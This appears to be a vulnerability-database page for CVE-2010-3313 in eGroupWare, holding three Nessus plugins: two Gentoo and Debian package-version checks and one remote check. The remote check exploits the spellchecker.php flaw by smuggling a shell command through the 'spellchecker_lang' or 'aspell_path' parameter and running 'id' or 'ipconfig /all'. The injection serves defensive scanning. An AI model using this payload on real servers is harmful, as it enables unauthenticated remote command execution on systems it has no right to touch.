Vulnerabilities > CVE-2010-3313 - Code Injection vulnerability in Egroupware

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 201412-10.
#
# The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(79963);
  script_version("1.5");
  script_cvs_date("Date: 2019/08/12 17:35:38");

  script_cve_id("CVE-2008-4776", "CVE-2010-2713", "CVE-2010-3313", "CVE-2010-3314", "CVE-2011-0765", "CVE-2011-2198", "CVE-2012-0807", "CVE-2012-0808", "CVE-2012-1620", "CVE-2012-2738", "CVE-2012-3448");
  script_bugtraq_id(41716, 46477, 48645, 51574, 52642, 52922, 54281, 54699);
  script_xref(name:"GLSA", value:"201412-10");

  script_name(english:"GLSA-201412-10 : Multiple packages, Multiple vulnerabilities fixed in 2012");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-201412-10
(Multiple packages, Multiple vulnerabilities fixed in 2012)

    Vulnerabilities have been discovered in the packages listed below.
      Please review the CVE identifiers in the Reference section for details.
      EGroupware
      VTE
      Layer Four Traceroute (LFT)
      Suhosin
      Slock
      Ganglia
      Jabber to GaduGadu Gateway
  
Impact :

    A context-dependent attacker may be able to gain escalated privileges,
      execute arbitrary code, cause Denial of Service, obtain sensitive
      information, or otherwise bypass security restrictions.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/201412-10"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All EGroupware users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose
      '>=www-apps/egroupware-1.8.004.20120613'
    All VTE 0.32 users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=x11-libs/vte-0.32.2'
    All VTE 0.28 users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=x11-libs/vte-0.28.2-r204'
    All Layer Four Traceroute users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=net-analyzer/lft-3.33'
    All Suhosin users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=dev-php/suhosin-0.9.33'
    All Slock users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=x11-misc/slock-1.0'
    All Ganglia users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=sys-cluster/ganglia-3.3.7'
    All Jabber to GaduGadu Gateway users should upgrade to the latest
      version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=net-im/gg-transport-2.2.4'
    NOTE: This is a legacy GLSA. Updates for all affected architectures have
      been available since 2013. It is likely that your system is already no
      longer affected by these issues."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(119);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:egroupware");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:ganglia");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:gg-transport");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:lft");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:slock");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:suhosin");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:vte");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"vuln_publication_date", value:"2008/10/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/12/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/15");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"dev-php/suhosin", unaffected:make_list("ge 0.9.33"), vulnerable:make_list("lt 0.9.33"))) flag++;
if (qpkg_check(package:"net-analyzer/lft", unaffected:make_list("ge 3.33"), vulnerable:make_list("lt 3.33"))) flag++;
if (qpkg_check(package:"x11-libs/vte", unaffected:make_list("ge 0.32.2", "rge 0.28.2-r204", "rge 0.28.2-r206"), vulnerable:make_list("lt 0.32.2"))) flag++;
if (qpkg_check(package:"net-im/gg-transport", unaffected:make_list("ge 2.2.4"), vulnerable:make_list("lt 2.2.4"))) flag++;
if (qpkg_check(package:"sys-cluster/ganglia", unaffected:make_list("ge 3.3.7"), vulnerable:make_list("lt 3.3.7"))) flag++;
if (qpkg_check(package:"x11-misc/slock", unaffected:make_list("ge 1.0"), vulnerable:make_list("lt 1.0"))) flag++;
if (qpkg_check(package:"www-apps/egroupware", unaffected:make_list("ge 1.8.004.20120613"), vulnerable:make_list("lt 1.8.004.20120613"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dev-php/suhosin / net-analyzer/lft / x11-libs/vte / etc");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-2013. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(45055);
  script_version("1.10");
  script_cvs_date("Date: 2019/08/02 13:32:22");

  script_cve_id("CVE-2010-3313", "CVE-2010-3314");
  script_bugtraq_id(73832);
  script_xref(name:"DSA", value:"2013");

  script_name(english:"Debian DSA-2013-1 : egroupware - several vulnerabilities");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Nahuel Grisolia discovered two vulnerabilities in Egroupware, a
web-based groupware suite: Missing input sanitising in the
spellchecker integration may lead to the execution of arbitrary
commands and a cross-site scripting vulnerability was discovered in
the login page."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=573279"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2010/dsa-2013"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the egroupware packages.

For the stable distribution (lenny), these problems have been fixed in
version 1.4.004-2.dfsg-4.2.

The upcoming stable distribution (squeeze), no longer contains
egroupware packages."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:egroupware");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:5.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2010/03/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/15");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"5.0", prefix:"egroupware", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-addressbook", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-bookmarks", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-calendar", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-core", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-developer-tools", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-emailadmin", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-etemplate", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-felamimail", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-filemanager", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-infolog", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-manual", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-mydms", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-news-admin", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-phpbrain", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-phpsysinfo", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-polls", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-projectmanager", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-registration", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-resources", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-sambaadmin", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-sitemgr", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-timesheet", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-tracker", reference:"1.4.004-2.dfsg-4.2")) flag++;
if (deb_check(release:"5.0", prefix:"egroupware-wiki", reference:"1.4.004-2.dfsg-4.2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(45023);
  script_version("1.14");
 script_cvs_date("Date: 2018/06/13 18:56:26");

  script_cve_id("CVE-2010-3313");
  script_bugtraq_id(38609, 38794);
  script_xref(name:"Secunia", value:"38859");

  script_name(english:"eGroupWare spellchecker.php Arbitrary Shell Command Execution");
  script_summary(english:"Tries to execute a command");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server contains a CGI script that can be abused to
execute arbitrary commands."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of eGroupWare hosted on the remote web server fails to
sanitize user-supplied input to the 'aspell_path' and/or
'spellchecker_lang' parameters of the 'spellchecker.php' script before
passing it to a shell.

An unauthenticated, remote attacker can leverage these issues to
execute arbitrary commands subject to the privileges under which the
web server operates.

Note that the install likely has a cross-site scripting vulnerability,
although Nessus has not checked for this."
  );
  script_set_attribute(attribute:"see_also", value:"http://www.cybsec.com/vuln/cybsec_advisory_2010_0303_egroupware_.pdf");
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.egroupware.org/news?category_id=95&item=93"
  );
  script_set_attribute(
    attribute:"solution",
    value:
"Upgrade to eGroupWare 1.6.003 / eGroupWare version EPL 9.1.20100309 /
9.2.20100309 or later."
  );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/03/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/03/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:egroupware:egroupware");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("egroupware_detect.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/egroupware");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);


# Test an install.
install = get_install_from_kb(appname:'egroupware', port:port);
if (isnull(install)) exit(1, "eGroupWare wasn't detected on port "+port+".");
dir = install['dir'];

# nb: if you want to see multiline output under *nix, filter output and
#     change newlines into carriage returns (eg, append '|tr "\n" "\r"'
#     to the command) and the plugin will take care of that.
os = get_kb_item("Host/OS");
if (os)
{
  if ("Windows" >< os) cmd = "ipconfig /all";
  else cmd = "id";
  cmds = make_list(cmd);
}
else cmds = make_list("id", "ipconfig /all");
cmd_pats = make_array();
cmd_pats["id"] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats["ipconfig /all"] = "Subnet Mask";

foreach cmd (cmds)
{
  exploit = SCRIPT_NAME + '||' + cmd + ' ||';
  url = dir + '/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?' +
    'spellchecker_lang=' + urlencode(str:exploit);

  res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);

  # If the exploit didn't work and the "Perform thorough tests" setting is enabled, check for the other vuln.
  if (
    (!res[2] || !egrep(pattern:cmd_pats[cmd], string:res[2])) &&
    thorough_tests
  )
  {
    url = dir + '/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?' +
      'aspell_path=' + urlencode(str:exploit);

    res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);
  }

  error = NULL;
  if (res[2] && "error = '" >< res[2])
  {
    foreach line (split(res[2], keep:FALSE))
      if (line =~ "^error = '")
      {
        error = line - "error = '";
        error = substr(error, 0, strlen(error)-2);
        break;
      }
  }
  if (isnull(error)) continue;

  # There's a problem if we see the expected command output.
  pat = cmd_pats[cmd];

  if (
    '-a --lang='+exploit >< error ||
    'Aspell program execution failed (`'+exploit >< error ||
    egrep(pattern:pat, string:error)
  )
  {
    output = strstr(error, "`\\n") - "`\\n";
    output = substr(output, 0, strlen(output)-2);
    output = str_replace(find:'\r', replace:'\n', string:output);

    if (egrep(pattern:pat, string:output))
    {
      if (report_verbosity > 0)
      {
        header =
          "Nessus was able to execute the command '" + cmd + "' on the" + '\n' +
          'remote host using the following URL';
        trailer = '';

        if (report_verbosity > 1)
        {
          output = data_protection::sanitize_uid(output:output);
          trailer =
            'This produced the following output :\n' +
            '\n' +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
            output + '\n' +
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
        }
        report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }
    else
    {
      if (report_verbosity > 0)
      {
        header =
          "Nessus tried to execute the command '" + cmd + "' on the" + '\n' +
          'remote host using the following URL';
        trailer =
          'While it did not receive the expected output, the install appears\n' +
          'vulnerable to attack based on the following error message generated\n' +
          'by the application :\n' +
          '\n' +
          "  " + error + '\n';
        report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }
    exit(0);
  }
}
exit(0, "The eGroupWare install at "+build_url(port:port, qs:dir+"/")+" is not affected.");